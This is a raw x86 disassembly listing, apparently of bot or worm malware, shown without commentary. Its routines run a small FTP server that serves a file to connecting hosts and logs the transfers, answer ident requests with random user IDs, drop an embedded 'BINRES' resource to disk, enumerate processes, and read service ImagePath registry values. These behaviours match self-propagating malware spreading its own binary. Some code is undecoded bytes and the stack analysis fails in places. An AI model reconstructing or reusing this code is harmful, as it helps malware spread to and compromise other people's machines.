jnz short loc_41F0B7
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4E8EAB
push eax
mov [esp+28h+var_18], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F75A
; ---------------------------------------------------------------------------
loc_41F0B7: ; CODE XREF: sub_41F030+6Dj
push 10h
push esi
push eax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41F0E7
mov ecx, [edi+15h]
push ecx
nop
call near ptr 71AB9639h
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4E8EAB
push edx
mov [esp+38h+var_28], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F75A
; ---------------------------------------------------------------------------
loc_41F0E7: ; CODE XREF: sub_41F030+93j
mov al, byte_4E8E54
test al, al
jz loc_41F750
push ebx
mov ebx, dword_511B14
push ebp
mov ebp, dword_511CA0
loc_41F102: ; CODE XREF: sub_41F030+718j
mov eax, [edi+15h]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41F11D
push 0FAh
jmp loc_41F73B
; ---------------------------------------------------------------------------
loc_41F11D: ; CODE XREF: sub_41F030+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41F736
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
call near ptr 71AC0B50h
nop
mov eax, [esp+58h+var_34]
test al, al
jz loc_41F741
mov cl, byte_449DC8
test cl, cl
jz short loc_41F1CF
mov edx, [esp+58h+var_34+3]
mov ecx, dword_44965F
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_449968
call sub_4014DD
push eax
push 0
push 0
push offset byte_4D8085
call sub_401857
add esp, 28h
loc_41F1CF: ; CODE XREF: sub_41F030+14Ej
lea ecx, [esp+58h+arg_0]
call sub_40142E
push 1000h
push 1000h
lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401C71
push eax
call sub_4015F5
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_4014D3
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401FDC
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_401280
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_401280
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_401280
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_401870
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_4016B8
push offset asc_445090 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_4017EE
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445090 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_4017EE
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445090 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_4017EE
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445090 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_4017EE
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445090 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_4017EE
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445090 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_4017EE
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_401226
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ecx
nop
call near ptr word_5F67AE
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_401AA0
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_4017EE
push eax
nop
call near ptr 77C3F010h
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41F695
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41F695
push 2
push 0
push edi
call near ptr 77C4139Ch
nop
push edi
call near ptr 77C41574h
nop
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
nop
call near ptr 77C4139Ch
add esp, 1Ch
loc_41F5C0: ; CODE XREF: sub_41F030+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
nop
call near ptr 77C411FBh
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41F613
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp
cmp edi, 1000h
jz short loc_41F5C0
loc_41F613: ; CODE XREF: sub_41F030+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, byte_449DC8
test cl, cl
mov eax, edx
jz short loc_41F67C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"...
mov ecx, offset dword_449968
call sub_4014DD
push eax
push 0
push 0
push offset byte_4D8085
call sub_401857
add esp, 2Ch
loc_41F67C: ; CODE XREF: sub_41F030+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
nop
call near ptr 77C40AB1h
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
nop
call near ptr 71AB9639h
loc_41F695: ; CODE XREF: sub_41F030+55Bj
; sub_41F030+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp
push esi
call near ptr 71AB9639h
nop
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_401226
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_401226
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_401226
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_401226
mov edi, [esp+0F0h+var_DC]
loc_41F736: ; CODE XREF: sub_41F030+109j
push 9C4h
loc_41F73B: ; CODE XREF: sub_41F030+E8j
nop
call near ptr 2831CE8h
loc_41F741: ; CODE XREF: sub_41F030+140j
mov al, byte_4E8E54
test al, al
jnz loc_41F102
pop ebp
pop ebx
loc_41F750: ; CODE XREF: sub_41F030+BEj
mov eax, [edi+15h]
push eax
call near ptr 71AB9639h
nop
loc_41F75A: ; CODE XREF: sub_41F030+82j
; sub_41F030+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41F030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F960 proc near ; CODE XREF: sub_401230j
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41F960
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_40198D
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+9Ch+var_90], eax
jnz short loc_41F99D
mov byte_4E8EA9, 0
jmp loc_41FB01
; ---------------------------------------------------------------------------
loc_41F99D: ; CODE XREF: sub_41F960+2Fj
mov cl, byte_44928B
xor ebx, ebx
cmp cl, bl
mov byte_4E8EA9, 1
jnz loc_41FAF4
lea ecx, [esp+9Ch+var_8C]
push ecx
push eax
call sub_402009
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41FAE7
push edi
lea ecx, [esp+0A0h+var_7C]
call sub_40142E
mov [esp+0A0h+var_4], ebx
call sub_401F0A
mov esi, dword_511AC8
call esi
cdq
mov ecx, 3
push offset byte_448F40
idiv ecx
lea ecx, [esp+0A0h+var_78]
mov edi, edx
add edi, 0Ah
call sub_4015E1
cmp edi, ebx
jle short loc_41FA66
loc_41FA0A: ; CODE XREF: sub_41F960+104j
lea ecx, [esp+9Ch+var_60]
call sub_40142E
lea edx, [esp+9Ch+var_78]
lea ecx, [esp+9Ch+var_60]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401FDC
call esi
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+9Ch+var_60]
add edx, 61h
push edx
call sub_4017EE
push eax
lea edx, [esp+0A4h+var_78]
push offset dword_444E6C
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+9Ch+var_60]
mov [esp+9Ch], bl
call sub_401226
dec edi
jnz short loc_41FA0A
loc_41FA66: ; CODE XREF: sub_41F960+A8j
push 0Ah
lea ecx, [esp+0A0h+var_78]
call sub_401479
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+9Ch+var_48]
rep stosd
lea ecx, [esp+9Ch+var_78]
call sub_4017EE
push eax
push 71h
call esi
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+0A8h+var_48]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
call near ptr word_5F67AE
nop
add esp, 14h
lea eax, [esp+9Ch+var_48]
push ebx
push 40h
push eax
push ebp
call near ptr 71AB428Ah
nop
mov esi, dword_511C9C
push ebp
call esi
lea ecx, [esp+0A0h+var_7C]
mov [esp+0A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0A0h+var_90]
push ecx
call esi
mov byte_4E8EA9, bl
pop edi
jmp short loc_41FAFE
; ---------------------------------------------------------------------------
loc_41FAE7: ; CODE XREF: sub_41F960+67j
push 7D0h
nop
call near ptr 2831CE8h
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F960+4Ej
mov ebp, [esp+9Ch+var_90]
mov esi, dword_511C9C
loc_41FAFE: ; CODE XREF: sub_41F960+185j
push ebp
call esi
loc_41FB01: ; CODE XREF: sub_41F960+38j
; sub_41F960+192j
mov ecx, [esp+9Ch+var_C]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
sub_41F960 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FB90 proc near ; CODE XREF: sub_401AD2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41FBCB
dec eax
jz short loc_41FBB4
dec eax
jnz short loc_41FBF1
mov ecx, dword_50DB38
mov dword_50DB1C, 4
call sub_401DE3
jmp short loc_41FBF1
; ---------------------------------------------------------------------------
loc_41FBB4: ; CODE XREF: sub_41FB90+8j
mov ecx, dword_50DB38
mov dword_50DB1C, 7
call sub_401028
jmp short loc_41FBF1
; ---------------------------------------------------------------------------
loc_41FBCB: ; CODE XREF: sub_41FB90+5j
mov ecx, dword_50DB38
xor eax, eax
mov dword_50DB24, eax
mov dword_50DB1C, 1
mov dword_50DB2C, eax
mov dword_50DB30, eax
call sub_40174E
loc_41FBF1: ; CODE XREF: sub_41FB90+Bj
; sub_41FB90+22j ...
mov eax, dword_50DB3C
push offset dword_50DB18
push eax
mov dword_50DB1C, 4
nop
call near ptr 290083Eh
retn 4
sub_41FB90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FC30: ; CODE XREF: ___:loc_401965j
push esi
xor esi, esi
push offset sub_401AD2
mov ecx, offset byte_44991F
mov dword_50DB18, 20h
mov dword_50DB1C, 2
mov dword_50DB20, 3
mov dword_50DB24, esi
mov dword_50DB28, esi
mov dword_50DB2C, esi
mov dword_50DB30, esi
call sub_4017EE
push eax
nop
call near ptr 2900514h
cmp eax, esi
mov dword_50DB3C, eax
jz short loc_41FCAA
push offset dword_50DB18
push eax
mov dword_50DB1C, 4
mov dword_50DB2C, esi
mov dword_50DB30, esi
nop
call near ptr 290083Eh
loc_41FCAA: ; CODE XREF: ___:0041FC86j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FCD0 proc near ; CODE XREF: sub_401069j
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F068
mov eax, esi
pop esi
retn
sub_41FCD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD00 proc near ; CODE XREF: sub_401CF3j
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov dword_50DB38, ecx
push 100h
mov ecx, offset byte_44991F
call sub_4017EE
push eax
lea eax, [esp+118h+var_100]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_401965
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
nop
call near ptr 2900000h
xor eax, eax
add esp, 110h
retn
sub_41FD00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FD80: ; CODE XREF: ___:00401C44j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41FDA2
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDA2: ; CODE XREF: ___:0041FD9Aj
mov ecx, [esp+18h]
push ecx
nop
call near ptr 2890000h
mov esi, eax
test esi, esi
jnz short loc_41FDB9
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDB9: ; CODE XREF: ___:0041FDB1j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
call near ptr 27904A5h
nop
mov edi, eax
test edi, edi
jnz short loc_41FDDC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDDC: ; CODE XREF: ___:0041FDD4j
push ebp
push edi
push esi
call near ptr 2790B22h
nop
push edi
push esi
mov ebp, eax
nop
call near ptr 27A0000h
push ebp
mov esi, eax
nop
call near ptr 27A0407h
push ebx
push esi
push 1
push eax
nop
call near ptr 77C4173Bh
push ebx
call near ptr 77C40AB1h
nop
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE50 proc near ; CODE XREF: sub_40188Ej
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41FE78
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_41FE71
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FE71: ; CODE XREF: sub_41FE50+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41FE78: ; CODE XREF: sub_41FE50+Fj
pop esi
retn
sub_41FE50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE90 proc near ; CODE XREF: sub_401AA0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FEAE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FEAE: ; CODE XREF: sub_41FE90+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
call near ptr 71AB2B66h
nop
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_40188E
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FF0A
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FF0A: ; CODE XREF: sub_41FE90+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FE90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF50 proc near ; CODE XREF: sub_40198Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FF6E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FF6E: ; CODE XREF: sub_41FF50+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41FFC0
push esi
call near ptr 71AB9639h
nop
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FF50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FFF0 proc near ; CODE XREF: sub_4012DFj
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, [esp+14h+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_420024
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_10]
push eax
push ecx
push esi
mov [esp+20h+arg_0], 10h
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_420027
loc_420024: ; CODE XREF: sub_41FFF0+14j
or eax, 0FFFFFFFFh
loc_420027: ; CODE XREF: sub_41FFF0+32j
pop esi
add esp, 10h
retn
sub_41FFF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420040 proc near ; CODE XREF: sub_402009j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_420076
mov esi, [esp+8+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_420076
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_420079
loc_420076: ; CODE XREF: sub_420040+8j
; sub_420040+1Aj
or eax, 0FFFFFFFFh
loc_420079: ; CODE XREF: sub_420040+34j
pop edi
pop esi
retn
sub_420040 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_420090 proc near ; CODE XREF: sub_401604j
var_1128 = dword ptr -1128h
var_1124 = byte ptr -1124h
var_1112 = byte ptr -1112h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_1108 = byte ptr -1108h
var_1104 = byte ptr -1104h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
mov eax, 1114h
call sub_437B30
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_4382BC
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4200C3
xor al, al
add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_4200C3: ; CODE XREF: sub_420090+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_42018D
push ebx
mov ebx, dword_5117E0
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_4200E5: ; CODE XREF: sub_420090+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+20h]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx
mov esi, eax
test esi, esi
jz short loc_420177
lea edx, [esp+18h]
lea eax, [esp+1Ch]
push edx
push 4
push eax
push esi
call sub_4382B6
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_420170
mov edx, [esp+1144h+var_1128]
lea ecx, [esp+1144h+var_1124]
push 104h
push ecx
push edx
push esi
call sub_4382B0
; ---------------------------------------------------------------------------
db 8Bh, 84h, 24h
dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h
dd 500D75C0h, 1DFE856h, 0C6900237h, 1132444h
; ---------------------------------------------------------------------------
loc_420170: ; CODE XREF: sub_420090+A2j
push esi
call near ptr 284070Bh
nop
loc_420177: ; CODE XREF: sub_420090+8Cj
mov eax, dword ptr [esp+1138h+var_1124]
add ebp, 4
dec eax
mov dword ptr [esp+1138h+var_1124], eax
jnz loc_4200E5
pop edi
pop esi
pop ebp
pop ebx
loc_42018D: ; CODE XREF: sub_420090+3Aj
mov al, byte ptr [esp+1128h+var_1128+3]
add esp, 1114h
retn
sub_420090 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4201F0 proc near ; CODE XREF: sub_401A0Aj
var_490 = byte ptr -490h
var_488 = byte ptr -488h
var_482 = byte ptr -482h
var_480 = byte ptr -480h
var_478 = byte ptr -478h
var_468 = dword ptr -468h
var_464 = byte ptr -464h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_43C = byte ptr -43Ch
var_438 = byte ptr -438h
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_38 = byte ptr -38h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4201F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_401870
push eax
mov [esp+464h+var_4], 0
call sub_401EAB
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_42036A
lea ecx, [esp+460h+var_43C]
call sub_40142E
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_40168B
push eax
push 80000002h
nop
call near ptr 2940000h
mov ecx, [esp+474h+var_468]
lea edx, [esp+474h+var_464]
lea eax, [esp+474h+var_420]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
call near ptr 28F0000h
nop
lea edx, [esp+0Bh]
lea eax, [esp+48Ch+var_438]
push edx
push eax
lea ecx, [esp+494h+var_478]
nop
call near ptr 76081F67h
mov ecx, dword_5119E0
mov [esp+494h+var_38], 2
mov edx, [ecx]
lea ecx, [esp+494h+var_480]
push edx
push offset asc_444AEC ; "\\"
nop
call near ptr 76085AE4h
inc eax
lea ecx, [esp+49Ch+var_488]
push eax
push 0
call near ptr 760976AFh
nop
